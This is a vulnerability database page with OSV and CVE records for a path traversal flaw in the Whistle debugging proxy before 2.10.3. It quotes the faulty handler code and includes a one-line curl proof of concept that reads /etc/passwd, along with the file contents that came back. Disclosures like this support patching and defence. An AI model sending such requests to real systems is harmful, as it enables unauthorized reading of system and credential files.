Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-WHISTLE-CVE-2026-55629 (GHSA-3VFR-4GWF-QXFP)

    Vulnerability from osv_homebrew – Published: 2026-08-26 10:05 – Updated: 2026-11-18 10:57 – Source website
    VLAI
    Summary
    Whistle vulnerable to path traversal
    Details

    This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.

    Vulnerability detail:

    In service.js, inside app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);

    Only when filename matches the temp/ pattern does it get joined to the safe directory TEMP_FILES_PATH.

    If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.

    In other words: if you pass passwd, it will read passwd.

    POC: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"

    response:

    xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts"
    {"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting.  Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1             localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1  proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}% 
    

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "upstream_fixed_in": "2.10.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "whistle",
            "purl": "pkg:brew/whistle"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "2.10.3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "npm",
            "key": "pkg:npm/whistle@2.10.15",
            "name": "whistle",
            "strategy": "registry",
            "subject_version": "2.10.15"
          }
        ]
      },
      "details": "This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get(\u0027/cgi-bin/temp/get\u0027, ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n  filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/\u003chash\u003e pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting.  Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1             localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232.68.133 user-images.githubusercontent.com\\n199.232.68.133 avatars2.githubusercontent.com\\n199.232.68.133 avatars1.githubusercontent.com\\n127.0.0.1 lanyundev.com\\n\\n127.0.0.1 www.proxifier.com\\n127.0.0.1  proxifier.com\\n140.82.116.4 github.com\\n\\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\\n127.0.0.1\\tlocalhost.sangfor.com.cn\\n\\n\"}% \n```",
      "id": "BREW-whistle-CVE-2026-55629",
      "modified": "2026-11-18T10:57:46Z",
      "published": "2026-08-26T10:05:36Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55629"
        },
        {
          "type": "WEB",
          "url": "https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/avwo/whistle"
        },
        {
          "type": "WEB",
          "url": "http://github.com/avwo/whistle/releases/tag/v2.10.3"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "Whistle vulnerable to path traversal",
      "upstream": [
        "GHSA-3vfr-4gwf-qxfp",
        "CVE-2026-55629"
      ]
    }

    CVE-2026-55629 (GCVE-0-2026-55629)

    Vulnerability from cvelistv5 – Published: 2026-07-16 19:12 – Updated: 2026-07-17 18:12
    VLAI
    Title
    Whistle: Path traversal
    Summary
    Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-07-17 18:12 UTC
    CWE
    • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    Assigner
    GitHub_M CNA
    Impacted products
    Vendor Product Version
    avwo whistle Affected: < 2.10.3
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-55629",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-17T18:12:01.770384Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-17T18:12:13.546Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "whistle",
              "vendor": "avwo",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 2.10.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-16T19:12:56.106Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp"
            },
            {
              "name": "https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5"
            },
            {
              "name": "http://github.com/avwo/whistle/releases/tag/v2.10.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "http://github.com/avwo/whistle/releases/tag/v2.10.3"
            }
          ],
          "source": {
            "advisory": "GHSA-3vfr-4gwf-qxfp",
            "discovery": "UNKNOWN"
          },
          "title": "Whistle: Path traversal"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-55629",
        "datePublished": "2026-07-16T19:12:56.106Z",
        "dateReserved": "2026-06-16T23:52:12.056Z",
        "dateUpdated": "2026-07-17T18:12:13.546Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }